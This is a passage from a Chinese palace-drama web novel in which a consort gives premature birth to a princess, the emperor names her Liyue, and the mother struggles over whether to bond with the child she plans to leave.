徐清盏今日出门办差,天快黑时才回宫,听闻晚余早产,便火速赶了过来。 一进门就看祁让负手站在庭院中央,神情凝重地对着寝殿的大门出神,雪花飘飘洒洒落了他满身,他就像个雪雕一样在风中岿然不动。 孙良言,胡尽忠和小福子苦口婆心地劝他往廊庑上去,别在这里一直淋雪,他却充耳不闻。 见徐清盏过来,小福子忙迎上去求他:“掌印,您可来了,快帮忙劝劝皇上吧,皇上一直这样淋着,又不让给他撑伞,这要是冻坏了可如何是好?” 徐清盏往嘈杂的殿内看了一眼,摆手示意小福子退下,自个走到祁让面前,躬身行了一礼:“皇上,贞妃娘娘怎么样了?” 祁让听到他的声音,神情有了一丝松动,问了句毫无意义的话:“你来了?” “是。”徐清盏应了一声,“娘娘产期尚早,怎么突然就发作了?” 祁让转动干涩的眼珠看他,眼底布满了血丝:“都怪朕,是朕把她甩倒的,她现在恨透了朕,朕想进去看她她都不让。” 徐清盏心下暗惊,不动声色道:“皇上为什么甩她?” 祁让揉了揉冻到麻木的脸,脸上湿漉漉的,不知是雪水,还是泪水。 “在柿子树那里,她发现朕偷看了她的许愿香囊并撕毁了她的愿望,质问朕为什么那样……”祁让艰涩开口,此时再回想到自己当时的反应,仍是懊悔不已。 徐清盏没想到会是这个原因,怔怔一刻才道:“其实臣一直以来也想不明白,皇上为什么要那样做。” 祁让看着他,好几次欲言又止,最后还是说了出来:“朕就是觉得她蠢,她在宫里能平安度日,都是朕在暗中庇护她,只要她开口,什么愿望朕都能帮她实现,她却对朕视而不见,年年去拜一棵树,朕在她眼里难道还不如一棵树吗?” “……”徐清盏瞠目结舌,无言以对。 “朕很可笑是吧?”祁让扯了扯唇角,“朕有时候也觉得自己很可笑,搞不懂自己在执着什么,可是,咱们不是一样的人吗? 她在执着什么? 你在执着什么? 沈长安又在执着什么? 你能说得清吗?” 徐清盏举目望天,妖孽般的美人面上浮现出和他一样的怅惘。 祁让又道:“朕这回本来不打算去的,是小福子说雪天路滑,梯子那么高,朕怕她又爬上去,才想着去瞧瞧的。 朕在那里等了很久,以为她不会去了,可她还是去了,她让雪盈帮她把香囊挂在树上,说希望她们两个都能心想事成。 朕就想知道,她这一次许的愿是不是也和从前一样。” “是一样的吗?”徐清盏问。 祁让轻轻摇头,闭了闭眼,语气五味杂陈:“以前她写的都只是平安二字,这一次,她写的是惟愿我儿一生平安顺遂。” 徐清盏心头跳了跳,针扎似的难受。 “不管怎样,她还是爱那孩子的,对吗?”祁让红着眼睛问他。 徐清盏鼻子一酸,眼泪险些夺眶而出。 “皇上还不知道吧,在您不见她的这些日子,她每天都在给孩子做衣裳,她把孩子托付给了我,求我替她护孩子周全,她说皇上以后还会有很多孩子,这个孩子未必能被皇上一直放在心上……” “怎么会?”祁让猛地打断他,“朕有多在意这个孩子,她不是最清楚的吗,朕怎么可能不放在心上?” “皇上放在心上,那自然再好不过。”徐清盏迟疑着往殿中看了一眼,有个问题到了嘴边却不敢问出来。 他想问,如果孩子没有平安降生,算谁的责任,祁让还会不会让晚余离开。 但眼下晚余正在危急关头,这样不吉利的话,他问不出口。 产房里,晚余的叫声时重时缓,每一声都像一把尖利的锥子,锥在两个人的心头。 祁让双手掩面,苦涩的声音从指缝中溢出:“她都已经走了,为什么还要回去,如果她不回去,就不会出事……” 这个问题,徐清盏答不上来。 他想,以晚余的聪慧,大概是想到了皇上要摘她的香囊吧? 胡尽忠突然哭着跑过来跪在祁让跟前:“皇上有所不知,娘娘是专程回去和皇上讲和的。” “你说什么?”祁让的身子晃了一下,眼中难掩惊诧。 胡尽忠抹着眼泪,哽咽不止:“娘娘说,孩子快要出生了,不管谁对谁错,总这样僵持着不是办法,她想诚心诚意地给皇上道个歉,好让皇上在她走后,能对小主子好一点,别因为她的原因冷落了小主子。” 祁让怔愣在原地,看着胡尽忠一把鼻涕一把泪的模样,半晌说不出话。 这时,产房里突然响起一声撕心裂肺的痛呼。 祁让的心仿佛被一只大手猛地攥住,痛得他不能呼吸。 他一只手用力压在心口,迈开大步向产房走去。 “皇上,产房血污,您不能进去……”产房门口,不知是谁拦住了他。 “滚开!”祁让看都不看,抬手将人扒开,掀帘子闯了进去。 室内血腥弥漫,晚余满头大汗地躺在床上,雪盈和紫苏一人一边抓住她的手,几个宫女撑着被单,一个产婆在被单下忙碌着,另一个产婆正在大声教晚余吸气呼气。 太医院的院正和院判隔着一道屏风坐阵指挥。 见祁让进来,院正和院判吃了一惊:“皇上,您怎么进来了?” 祁让双眼通红,语气不善:“这都几个时辰了,怎么还没生,朕养你们这帮废物有什么用?” 院正院判连忙跪下请罪:“皇上息怒,妇人生产本就耗时耗力,有的生上一天一夜也是有的,贞妃娘娘身子虚弱,又是头胎,还是突然早产,情况着实不容乐观。” “什么叫不容乐观?”祁让怒目道,“你少跟朕打马虎眼,贞妃若有个好歹,朕将你们全家满门抄斩!” 两人吓得面如土灰,抖若筛糠。 院正道:“皇上息怒,臣自当尽力而为,只是有一事臣要事先问过皇上,才能做到心中有数。” “什么事?”祁让冷声道。 院正抹着脑门的汗,战战兢兢:“臣是说万一,万一到了不得已的时候,是以娘娘的安危为先,还是以小主子的安危为先?” 祁让立时皱起眉头,想发火却又忍住,停了几息才一字一顿道:“贞妃必须活着!” 第309章 朕要把他扔去冷宫 天黑下来的时候,下了一天的雪终于停歇。 承乾宫各处都点上了灯烛,廊下的宫灯,院子里的地灯也次第亮起,映着满院的皑皑白雪,和两棵落满了雪的梨树,美得仿若人间仙境。 徐清盏仍站在院中,满目美景无心赏,视线始终望向寝殿的方向。 晚余的呻吟声时不时地随风飘入耳中,他从来没有哪一刻像现在这般惶恐又无力。 都说女人生孩子是过鬼门关,小鱼在鬼门关徘徊,他除了站在这里听着,一点忙都帮不上。 皇上好歹还能进去看一眼,他却连看一眼的资格都没有。 长安远在西北,上次来信还说要赶在小鱼产期之前回京。 谁知计划永远赶不上变化,他们好像永远都在错过。 万一小鱼有个三长两短,他们这辈子都要就此错过了。 他从来不信鬼神的,这一刻,他突然很想找个什么神佛拜一拜,将自己的生命献祭给神佛,来换小鱼母子平安。 他想起祁让说小鱼每年的心愿都是平安,祁让还怀疑过那个“平安”是不是代表着“平西侯府沈长安”。 现在他才明白,小鱼想要的,其实就是平安。 因为这个看似普普通通的愿望,对于小鱼来说都是奢望。 她已经把自己的期望放得这样低,却还是无法实现,仿佛世间所有的神佛都遗弃了她。 眼眶酸涩难耐,温热的液体从眼角溢出来。 徐清盏闭了闭眼,再睁开时,意外地发现天放晴了,一轮圆月穿透乌蒙蒙的云层,将盈盈清辉洒落大地,与白雪交相辉映,格外的明亮。 天晴了,月亮也是圆的,这应该,是个好兆头吧?他出神地想。 产房里的动静时大时小,外面的人干着急没办法,里面的人眼睁睁瞧着产妇受罪,更是心如油煎。 晚余耗尽了体力,在疼痛和困倦的双重折磨下,意识越来越涣散,扎银针喝参汤都不能再让她提起精神,眼睛快要睁不开。 “阿娘,好疼呀……” “阿娘,你去哪儿了?” “阿娘,你抱抱我好不好?” “阿娘,我还有一年就出去了,你一定要等着我呀……” 她开始说一些胡话,像快要断气的小猫,一声声地叫着阿娘。 紫苏和雪盈站在床前,在她一声声的啜泣中流了满脸的泪,却强忍着不敢哭出声。 祁让不顾所有人反对,从屏风后面走进来,摆手让紫苏和雪盈退后,自己坐在床沿握住了晚余的手。 “晚余,朕来了。” “阿娘。”晚余反握住他的手,眼泪如雨而下,“阿娘,你终于来看我了……” “阿娘,你怎么不说话,你是不是不要我了?” “阿娘,你别走,等等我,我这就去寻你了……” 祁让听着她的胡言乱语,只觉得心如刀绞。 晚余蜡白的脸,又让他想起了当年在冷宫离世的母妃,还有自己那两个相继夭折的皇子。 他真的很怕。 他已经失去了母妃和两个孩子,如果晚余和这个孩子再遭不幸…… 他简直不敢再往下想。 或许他真的是天煞孤星吧,只要他身边的人,最后都会被他克死。 他俯下身,用另一只手拍打晚余的脸颊:“江晚余,你看清楚了,朕是祁让,不是你阿娘,你阿娘就是被朕逼死的,因为朕,她两次下葬你都没能为她送行,你不记得了吗?” 晚余的哭声猛地停止,睁开朦胧的泪眼,恨恨地看着他,神智渐渐恢复清明。 “我恨你。”她流着泪控诉他,“你为什么要这么对我,为什么?” “因为朕是个坏人,朕没心没肺,十恶不赦。”祁让冷声道,“你不是想离开朕吗,把孩子生下来,你就可以走了,孩子要是死在你肚子里,你这辈子都休想出宫,就算死了化成灰,也得留在紫禁城!” 狠戾的话语,吓得一屋子人都变了脸色,大气都不敢喘。 晚余被他狠戾的话语刺激得彻底清醒过来,满腔的恨意又让她浑身充满了力量。 祁让吩咐紫苏拿了参汤来喂她喝,叫她接着使劲:“江晚余,拿出你所有的力气,你能不能活着离开朕,就在此一举,除非你舍不得朕……” “你说,你说你舍不得朕,朕就不逼你了,好不好?” “不!” 疼痛袭来,晚余发出一声撕心裂肺的喊叫。 祁让的心一抽一抽的疼,将她的手用力握住,放在自己已经干裂的唇上。 晚余也因为疼痛,死死抓住他的手。 “皇上……如果我死了……你会对孩子好吗?” “朕不会。”祁让斩钉截铁道,“如果你死了,朕就把他扔去冷宫,这辈子都不会看他一眼。” 晚余没想到他会这么说,气得瞪大眼睛。 祁让又冷冷道:“朕就是这么过来的,他为什么不行,他若是个皇子,朕就等着他长大把朕杀了上位,若是个公主,朕就送她去和亲,反正她也没人要……” “你……” 晚余气得说不出话,用力想要把手抽出来。 祁让握得太紧,她抽不动,拼尽全力挺起身子。 身下似乎有什么不一样的感觉。 随即就听产婆惊喜地叫了一声,“出来了,娘娘,再用点力,孩子已经露头了。” 撕裂般的疼痛让晚余痛不欲生,将祁让的手死死抓住,指甲嵌进他的肉里。 祁让疼的皱起眉头,却一动都不敢动。 晚余全身大汗淋漓,眼前恍恍惚惚冒着金光,似乎有一道门在她眼前缓缓开启。 仿佛过了许久,又仿佛只是一瞬,就在她的一只脚即将迈进那道门时,一声孱弱的婴儿啼哭声在耳边响起。 “生了,生了,恭喜皇上,恭喜娘娘,是个小公主。” 她听到产婆欢天喜地的贺喜声,努力想要睁开眼睛去看一看,意识却陷入一片混沌之中,铺天盖地的黑暗如潮水涌来,瞬间将她吞没。 “晚余!” 她最后听到的,是一声惊慌失措的呼唤,但她已经分辨不出那是谁的声音…… 第310章 是不是小鱼不行了 “晚余!” 站在外面的徐清盏也听到了这一声呼唤。 他听出是祁让的声音,一颗心瞬间提到了嗓子眼。 是不是小鱼不行了? 他来不及多想,拔腿就往寝殿冲去。 到了产房门口,孙良言拦在外面不让他进。 “徐掌印,皇上进去已经不合规矩,您就不要再进去了。” 徐清盏不得不停下,听到里面传来小孩子虚弱的哭声,还有祁让和太医对话的声音。 “皇上放心,娘娘就是产后虚弱睡过去了,没有性命之忧!” “你确定?”祁让不放心地追问,声音都是颤抖的。 “臣确定,臣敢用项上人头担保,娘娘真的没有性命之忧。” 祁让终于松了口气,徐清盏在外面也松了口气。 胡尽忠在一旁拿袖子擦眼泪:“谢天谢地,总算母子平安了。” 孙良言看了他一眼,由衷道:“贞妃母子平安,胡大总管功不可没,皇上会重赏你的。” 胡尽忠本来还能克制,这句话却叫他的眼泪一下子决了堤:“还用你说,我容易吗我?” 莫名其妙。 孙良言和徐清盏都对着他露出嫌弃的表情。 这家伙自从进了后宫,就变得和女人一样多愁善感了。 这时,产房的门帘掀起,祁让抱着一个粉色的襁褓走了出来,脸上带着疲惫的笑,对徐清盏说:“生了,是个小公主,贞妃睡着了,朕特地抱出来给你看一眼。” 徐清盏的心像是被什么狠狠撞了一下,喉咙瞬间哽住,走上前,小心翼翼地揭开襁褓一角。 小公主是早产,小小的一团,约摸有三四斤,小脸红通通的,甚至还有点皱皱巴巴,实在算不得好看。 可不知为什么,就是能让人不自觉为她软了心肠。 饶是徐清盏这样一个心狠手辣,能将活人片几千刀的大魔头,在看到她的时候,心都软成了一滩水,甚至有种想哭的冲动。 小公主紧闭着双眼,在父亲的怀抱里安然入睡,并不知道此刻抱着自己的,是天底下最尊贵的男人。 “怎么样,像不像朕?”祁让满怀期待地问道。 徐清盏答不上来,只是想哭。 这是小鱼的孩子。 是小鱼千辛万苦拿命换来的孩子。 以前他还和长安打趣说,将来小鱼有了孩子,他要做孩子的舅舅。 可是现在,孩子不是长安的,他也没有资格做孩子的舅舅。 胡尽忠和孙良言,小福子都凑过来看,几个大人围着一个小不点,像看宝贝似的。 “小公主长得真好,瞧这眉眼,简直和皇上一模一样,又俊又英气,将来肯定巾帼不让须眉。”胡尽忠昧着良心把这皱巴巴的小家伙一通猛夸。 “……”孙良言和小福子对视一眼,小公主眼睛都没睁开,实在看不出哪里和皇上像。 祁让却信以为真,笑得一脸满足,叫孙良言重赏承乾宫的所有宫人。 奶嬷嬷随即跟出来,战战兢兢和祁让商量:“万岁爷,公主太小,怕吹了风,还是交给奴婢照看吧!” 祁让不舍地皱了皱眉,到底还是把孩子给了她,殷殷叮嘱道:“好生服侍,不可有任何闪失。” 奶嬷嬷答应着,把孩子小心翼翼地接了过去。 祁让怀里一空,心好像也变得空落落,伸了个懒腰,问徐清盏:“你是不是也吓坏了?” 徐清盏笑了笑说:“臣方才在外面,看到雪停了,月亮也出来了,臣就想这肯定是个好兆头,娘娘肯定会母子平安的。” “是吗?朕去瞧瞧。”祁让信步走到院中,发现雪果然停了,一轮圆月挂在高空,月光如水倾泻,院中的梨树上落满了雪,仿佛千朵万朵梨花盛开,有风吹过,雪花飘飘落下,如柳絮迎风起舞。 纵然时节不对,他却第一时间想到了“梨花院落溶溶月,柳絮池塘淡淡风”的诗句。 “朕的小公主,就叫梨月吧,你觉得怎么样?”他笑着问徐清盏。 “梨月公主吗?”徐清盏念了一遍,说,“臣虽然才疏学浅,也觉得这个名字很悦耳,贞妃应该也会喜欢的。” “好,那朕回头问问她。”祁让一副有女万事足的愉悦模样,和先前站在院子里淋雪时的落魄模样判若两人。 徐清盏见他这样,有点不忍去想那场即将到来的分离。 与此同时,承乾宫贞妃娘娘诞下小公主的消息也传遍了整个后宫。 尽管时辰已晚,后宫众妃嫔却无一人入睡,全都在等承乾宫的消息。 听闻贞妃生下的是一个小公主,所有人都大大地松了口气。 还好,还好,只是个公主,若是个皇子,皇上说不定会反悔不让贞妃离开。 毕竟皇上已经没有了两个皇子,肯定会对这个皇子寄予厚望,不能让他有丝毫被人诟病的地方。 假如他被立为太子,太子的生母在外面游荡总归不好,万一再和外面的男人有牵扯,那就更丢人了。 所以说,公主更好,公主没那么多责任要承担,别人不会计较她生母是谁,皇上大概率也不会为了她出尔反尔。 但贞妃生这孩子没了半条命,估摸着就算要走,也得等出了月子才行,否则这冰天雪地的,娘家也没了,她一个人能去哪里? 刚好眼下也快过年了,左右就一个月的时间,再耐着性子等一等吧! 出于这样的考量,各宫妃嫔对这个结果都还比较接受。 唯有庄妃和贤贵妃多少有点失落。 庄妃失落,是怕新出生的小公主抢走嘉华公主为数不多的父爱。 她本就因着上回的事被皇上厌弃,皇上有了小公主,只怕要将她们母女抛在脑后了。 贤贵妃失落,是因为晚余答应了把孩子给她养,而她想要当上皇后,自然是养个皇子更有胜算。 所以,在别人都觉得公主好的时候,只有她一个人盼着是个皇子。 但想归想,盼归盼,孩子的性别是改变不了的,她现在要做的,就是尽快把这件事落实,别让其他人坏了她的好事。 皇上对贞妃与众不同,对贞妃生的孩子自然也会另眼相看,孩子养在她这里,皇上肯定会时常来看孩子,这一来二去的,她不就有机会了吗? 说不准哪天自己还能怀上一个。 这样想着,她决定明天一大早就去探望贞妃,把这件事确定下来。 若非报信的小太监说贞妃娘娘产后力竭昏睡,她恨不得现在就过去。 但愿贞妃能安然无恙,别让她的希望落了空。 晚余一觉醒来,窗外已是晨光熹微。 她动了动身子,发现浑身酸痛无比,散了架似的,使不上一点力气。 她平躺着,肚子却不像从前那样沉重,直到这时,才恍惚意识到,孩子已经不在她肚子里。 一种难以言喻的情绪悄悄漫上心头,如夜里的深海,看似平静无波,实则暗潮汹涌。 她想叫人进来,一开口,嗓子又干又痛,像是吞了一把沙子,发不出一点声音。 恰好这时,紫苏走了进来,见她睁着眼,惊喜道:“娘娘,您醒了?” 晚余眨眨眼,张了张嘴。 紫苏忙倒了杯温水,拿勺子一点一点喂给她。 晚余连着喝了几勺,嗓子才好受了些。 紫苏拿帕子帮她擦拭嘴角,笑着说:“小公主可乖了,奴婢抱过来给娘娘看看可好?” 第311章 你可真是好样的 房里有片刻的寂静,晚余脸上浮现出痛苦纠结的神情。 她自然是想见孩子的,又怕见了之后割舍不下。 可那孩子在她肚子里待了好几个月,这几个月里,她们同呼吸,共心跳,悲欢与共,这份深入血脉的羁绊,唯有亲身经历过的人才懂。 她又不是草木,怎么可能做到毫不动情。 可她真的很怕自己看到了孩子真实的模样,就会日里夜里想着她,余生的每个梦里都是她。 既然决定要走,又何必再添更多羁绊,就让她做一个狠心的女人吧! 就让她被世人唾骂吧! 世人又怎知她都经历了什么? 她所经历的,又有几人能承受得了? “不见了。”她听到自己干涩沙哑的嗓音说,“我和她终究母子缘浅,等我回禀了皇上,就把她和奶娘一起送到贤贵妃那里去吧!” “娘娘……”紫苏忍不住哽咽出声,“那是您身上掉下来的肉呀,您反正是要坐月子的,就等满了月再送过去不行吗?” 晚余心如刀绞,硬着心肠摇了摇头:“见与不见,都是要走的,贤贵妃肯定也不希望我和孩子有太多接触。 直接送过去,她心里会更好受一些,免得她七上八下的没着落,整天想些有的没的,万一别人也打起孩子的主意,又要生出许多事端。” 紫苏知道她说得对,可道理归道理,情感归情感,就这样一眼不看就送走,多残忍呀! “皇上会同意吗?”她哭着问道。 晚余望着头顶天水蓝的纱帐,眼泪无声滑入鬓发:“应该会吧,他是男人,应该比我看得更透彻……” “朕没你这么狠心!”珠帘外突然响起一声怒斥,把两人都吓得心跳骤停。 珠帘被大力拂开,祁让穿着一身朱红色绣团龙的常服阔步走了进来。 紫苏骇然色变,连忙后退几步跪在地上。 祁让看都不看她一眼,沉着脸到了床前,弯腰伸手捏住了晚余的下颌:“江晚余,你怎能如此绝情,刚出生的孩子看都不看一眼就要送给别人? 你是讨厌孩子,还是讨厌和朕生的孩子?你纵然再不喜欢朕,她也是你唯一的血脉,你怎能如此狠心? 你知道她有可能活不成吗?她那么小一点,太医说她随时都可能没命,朕还怕你担心,不让人告诉你,原来你根本不在乎。” 他的脸色冷到了极致,额角青筋浮现,一字一字咬牙切齿:“你这狠心的女人,朕真想把你的心挖出来看看是什么颜色!” 晚余躺在那里一动不动,放在被子里的手用力攥紧,疼痛一波一波袭来,她已经分不清疼的是她的身体还是她的心。 她刚醒来,只听紫苏说孩子很乖,她不知道孩子可能会养不活。 这句话从祁让口中愤怒地喊出,对她来说无疑于一道晴天霹雳。 她张着嘴,一个字都说不出来,五脏六腑却早已绞成一团,血淋淋地疼。 祁让见她又不动又不开口,只当她无所谓,心中怒火更盛。 可她一个刚生完孩子的人,他再气又能把她怎么样呢? 她不就仗着他不能把她怎么样吗? “江晚余!”他恨恨地叫她的名字,却又说不出旁的话,憋了半天才道,“你可真是好样的,朕到今天才算看清了你,你根本就没有心!” 他收回手,转身大步而去。 朱红的龙袍,如一团愤怒的火焰。 他特地罢了一天的朝,想要过来陪她,和她一起看看孩子,和她说孩子的名字。 为了显得喜庆,他特地选了一件红衣。 可这可恶的女人,却让他显得像一个笑话。 一切都是他的一厢情愿。 是他自找的。 他愤然出了内室,恰好看到玉竹催促刚用过饭回来的奶娘去给孩子喂奶。 他满腔的怒火无处发泄,拧眉厉声道:“给奶娘二百两银子,让她出宫去,谁生的孩子谁自己喂!” 玉竹和奶娘全都吓得脸色煞白。 奶娘自己的孩子也才三四个月,只因家境不好,才不得已给自家孩子断了奶,进宫做奶娘贴补家用。 听闻可以拿二百两银子回家,奶娘自然欢喜,也不管是什么原因,便立刻跪下磕头谢恩。 祁让阴沉着脸拂袖而去。 晚余听着他沉重的脚步声踏踏走远,心里说不出来是什么滋味。 没等她多想,玉竹已经抱了孩子进来,小心翼翼道:“娘娘,皇上把奶娘遣出宫去了,说要您自个给小公主喂奶。” 晚余怔住,看着她怀里的粉色襁褓,突然紧张到无法呼吸。 孩子饿了,在襁褓里动来动去,发出孱弱的哭声。 晚余的心都揪起来,明明不想看,眼睛却怎么都移不开。 直到紫苏扶着她坐起来,玉竹把孩子抱到床前,掀开襁褓,露出孩子红通通的小脸,她的眼泪瞬间如洪水决堤,汹涌而出。 玉竹也哭了,边哭边劝她:“娘娘别哭,月子里流泪伤眼睛,皇上只是一时气愤,回头肯定要把奶娘请回来的。 宫里的孩子没有不请奶娘的道理,您先委屈两天,等皇上气消了,奴婢亲自去和皇上说,娘娘不是狠心,是在为小公主打算。” 她本是御前的人,只听命于祁让,经过这几个月和晚余相处,多少也有了些感情。 她们两个不相干的人尚且能相互影响慢慢感化,娘娘怎么可能对小公主没有感情。 同为女子,她虽然行事刻板,却也懂得娘娘的心,明白娘娘的苦衷,也发自内心地心疼娘娘。 她叫紫苏帮晚余擦掉眼泪,以免眼泪滴到孩子脸上,然后小心翼翼地把孩子递给晚余:“娘娘切莫再哭了,当娘的伤心难过,奶水就会变苦,孩子喝了不好。” 晚余肝肠寸断,听说奶水会变苦,只能强行把眼泪往回咽,哽得嗓子眼生疼,心口也发闷发疼。 她吸着鼻子,动作生疏地伸出手去接孩子。 玉竹在旁边指导着她,教她怎么抱孩子才舒服。 晚余试了几次,才把孩子抱好,小小的一团刚贴进她怀里,就开始扭动着小脑袋找奶吃。 晚余又忍不住想哭。 玉竹一点一点地教她怎么给孩子喂奶。 可她实在没经验,怎么都喂不到孩子嘴里。 孩子急得哇哇大哭,她自己也哭。 折腾了好半天,终于找到了窍门,孩子含住了奶嘴,很费力地吮吸起来。 晚余疼得直皱眉头。 玉竹说:“刚开始是会疼的,娘娘且忍一忍,等小主子多喝几次,喝通畅了就好了,” 晚余低头去看孩子,孩子的脸还是红红的,皱皱的,吃奶的时候都闭着眼睛,看不出像谁。 明明那样孱弱的一个小人儿,吮吸的动作却是那样有力。 这柔软又鲜活的小生命,仿佛从她灵魂深处抽离出的另一个她,是她与这世间最深的羁绊,是她血脉的延续,是生命最原始的奇迹。 她不想哭,眼泪还是顺着脸颊流了下来。 怎么办? 她要怎么办? 第312章 乖乖,我是阿娘呀! 晚余产后虚弱,强撑着给孩子喂完奶,已然体力不支。 玉竹把孩子抱过去,让紫苏服侍晚余躺下,又吩咐人给她准备饭食。 晚余躺在床上,看着孩子被玉竹抱走,心里空落落的。 用过饭,她又睡了一觉,明明很累很困,却总也睡不踏实,耳边似乎总能听到孩子的哭声。 不知过了多久,她迷迷糊糊感觉床前坐了一个人,费力地睁开眼皮,意外发现静安太妃正坐在床前的圈椅上看着她。 “太妃,您怎么来了?”晚余困意消退,想要坐起来。 静安太妃伸手隔着被子拍了拍,叫她不必多礼,好生躺着。 “哀家来瞧瞧小公主,顺便来看看你。”静安太妃一脸慈祥道,“照说昨儿就该来的,下着雪,路不好走,她们死活不许我出门,你不要见怪。” 晚余忙道:“太妃客气了,大雪天的,您要先顾好自己的身子。” 静安太妃说:“我去看了孩子,虽是个女娃娃,但长得很像她父皇,尤其眼睛,和她父皇一样,都是丹凤眼,好看得很。” “是吗?”晚余将信将疑地笑了一下,“怎么我什么都看不出来?” “那是因为你没见过她父皇小时候的样子。”静安太妃说,“皇帝刚出生的时候,我是见过的,因为我和他母妃住同一个宫殿,他母妃生他生的艰难,我当时还在旁边帮忙来着。 他出生的时候,也是红通通皱巴巴的,但嗓门洪亮,一嗓子哭出来,天地变色,电闪雷鸣,后面就下了三天三夜的雨,发了洪灾,被钦天监批为了天煞孤星。 其实下雨这种事,哪是一个孩子能左右的,我们都怀疑是当时的皇后娘娘在搞鬼。 奈何先帝沉迷炼丹,格外相信这种玄玄乎乎的东西,根本不听别人劝告,硬是把他们母子三人生生拆离。” 静安太妃叹口气,尽管时隔多年,提到那时的情形还是忍不住双眼含泪:“他母妃拖着刚生产后的身子,跪在大雨里求先帝开恩,直至跪到吐血昏迷,先帝都没有松口。” 关于祁让小时候,晚余听过不同的人讲述,不知道是不是因为自己刚生完孩子的缘故,静安太妃讲得让她尤其想哭。 难怪祁让会从这么多老太妃里挑中了静安太妃来管理六宫,原来静安太妃和他母妃曾经住在一个宫殿。 或者在他受苦受难的日子,静安太妃也曾偷偷接济过他吧,只是他从来没说过。 静安太妃拿帕子擦拭眼角:“我原不该在你刚生完孩子的时候和你说这些话的,我也知道,你出宫是有不得已的理由,我从一个女人的角度,也理解你的决定。 可小公主孱弱难养活也是真的,别人照顾得再好,终究比不上亲娘,你反正是要坐月子的,这冰天雪地的一时也走不了,不如照顾一天算一天,自己尽了力,将来走也走得心安,你说是不是这个理儿?” 晚余不说话,只默默流泪,心里揪着疼。 静安太妃就坐在床沿去帮她擦眼泪:“好孩子,别哭,你和皇帝都是苦命的孩子,都没了娘,年纪轻轻也没个长辈教导,凡事全凭自己的性子来。 如今皇帝既然把我接回来,我少不得就要以长辈的身份为你们从中周旋。 或许你现在觉得日子难过,塌了天似的,但你别着急,慢慢来,凡事讲究个水到渠成,或早或晚,人生总有峰回路转,拨云见日的一天。 就比如我,五十岁了才突然被命运眷顾,成了人人敬重的太妃,皇帝尚未立后,我也可以腆着脸自称为大邺朝最尊贵的女人,这何尝不是另一种峰回路转?” 晚余在老人家柔声细语地安抚下,情绪慢慢平复下来。 虽然她不是完全认同太妃的话,但自己的身体状况暂时走不了也是真的。 祁让撵走了奶娘,一时半会肯定不会再找。 自己说是不见孩子,也已经给孩子喂了奶。 别的还有什么好说的呢? 只能像玉竹说的那样,自己先喂着,等祁让消了气再说。 贤贵妃那边,少不得要和她好好解释一番。 两人说着话,玉竹又把孩子抱了过来,说小公主又饿了。 晚余这回再喂奶,已经不像头一回那样手忙脚乱,但疼还是一样的疼。 她抱着孩子,强忍着没有吭声,心里想着,便是这样的疼痛,以后也体会不到了。 静安太妃就坐在那里看着,脸上满满慈爱的笑,伸手摸了摸小公主头上软软的毛发感慨道:“都说母亲的第一口奶是最有养分的,但宫里的孩子却没有人能吃到亲娘的奶,咱们的小公主倒是个有福气的。” 这也算是福气吗? 晚余暗暗叹了口气,并没有问出口。 小公主吃饱了奶,就在玉竹要把她抱走的时候,她突然睁开眼睛看向晚余。 晚余猝不及防地对上了那双纯净懵懂的眼睛,那黑漆漆的瞳仁,就像深邃的星空,仿佛要将她的灵魂吸入其中。 她一个激灵,一股酥麻的热流瞬间涌遍四肢百骸,又如百川归海一样汇聚在心底,让她的心都忍不住颤抖起来。 她几乎是仓皇地躲开了视线,不敢再和孩子对视。 孩子却在被玉竹抱起来的瞬间哇哇大哭起来。 玉竹吓一跳,忙把她抱在怀里拍哄,却怎么也哄不住。 静安太妃说:“孩子要娘呢,你把她还给贞妃。” 玉竹看了晚余一眼,怕她不要。 晚余听孩子哭的揪心,就伸手道:“给我试试。” 玉竹就把孩子又放回到她怀里。 晚余搂着孩子,轻轻拍哄:“乖乖,不哭了,我是阿娘。” 她也不知道她怎么会说出这样一句话,可这话就这么自然而然地从她口中说了出来。 小公主神奇地停止了哭闹。 三个大人却都红了眼圈。 静安太妃不忍再看,起身哽咽道:“哀家有些乏了,先回去了,玉竹你要照顾好你家娘娘和小主子。” 玉竹福身应是,送她出去。 晚余怔怔一刻,在两人面前隐忍未落的泪,叭嗒一声掉在了小公主的襁褓上。 “乖乖,我是阿娘呀……”她将孩子抱起来,贴着自己的脸轻轻呢喃,一颗心就像被绞碎了一样,疼得血肉模糊。 静安太妃回到寿康宫,径直去了寝殿的东暖阁。 暖阁的炕上,祁让正昏昏沉沉睡着,纵然在梦中,也紧锁着眉头。 “烧退了没有?”静安太妃走到近前,一面问守在旁边的小福子,一面弯腰伸手去摸祁让的额头。 “退了些,就是睡的不安稳。”小福子躬着身子回道。 静安太妃摸着祁让汗津津的额头,掏出帕子给他擦了擦,怜惜道:“你主子心里难受,和别人没法说,才找到哀家这里来的,就让他在这里好好睡一觉吧,等他醒了,我再好生劝他。” 第313章 种什么样的因,结什么样的果 祁让醒来时,发现自己睡在一个陌生的地方,恍惚了一会儿才想起这是静安太妃的寿康宫。 他撑着身子想要坐起来,刚一动,小福子就听到了,连忙过来扶他:“皇上,您醒了?” 祁让嗯了一声,借着他的力道坐起身,抬手捏了捏眉心:“朕睡了多久?” “回皇上的话,差不多两个时辰了。” “这么久,你怎么不早点叫醒朕?” “是哀家不让他吵你的。”静安太妃端着一碗热腾腾的姜汤走过来,“你太累了,需要好生睡一觉,只有睡好了,才有精力做别的事,否则铁打的身子也受不了。” 祁让双手捧着脸搓了几下,尽量让自己精神起来:“朕没事,太妃不必忧心。” 静安太妃叹口气,在他对面坐下,把姜汤放在两人中间的炕桌上。 睡了一觉,瞧着是好多了,不像之前刚进门时那样,整个人都要碎掉的感觉,把她吓得不轻,还以为出了什么大事。 “你就是太紧张了,得学着放松一点。”静安太妃心疼道,“你背负的东西本来就多,倘若事事都较真,该有多辛苦,你管理朝堂,还知道水至清则无鱼呢,别的事情,也不能太较真的,明白吗?” 祁让知道她意有所指,想起来寿康宫之前在承乾宫生的那一肚子气,神色黯淡下来。 他也不想太较真的,可那女人,竟然狠心到看都不看孩子一眼。 静安太妃把姜汤往他那边推了推:“哀家亲自给你熬的,快趁热喝。” 祁让嫌那姜味太辛辣,推辞道:“多谢太妃,朕已经好了。” 静安太妃哪里肯信,又殷切劝道:“你昨天在雪地里冻成那样,怎么可能一剂汤药就好,便是这会子觉得好了,那也只是表象,若掉以轻心,只会发展得更严重,更难治愈。” 祁让为了让老人家安心,只得顺从地把汤喝了,辛辣的味道令他眉头紧锁。 “很辣是吧?但它却是祛寒的良方。”静安太妃说,“我这人也没什么学问,不会说大道理,良药苦口,忠言逆耳这话还是知道的,你想不想听我老太婆唠叨几句?” 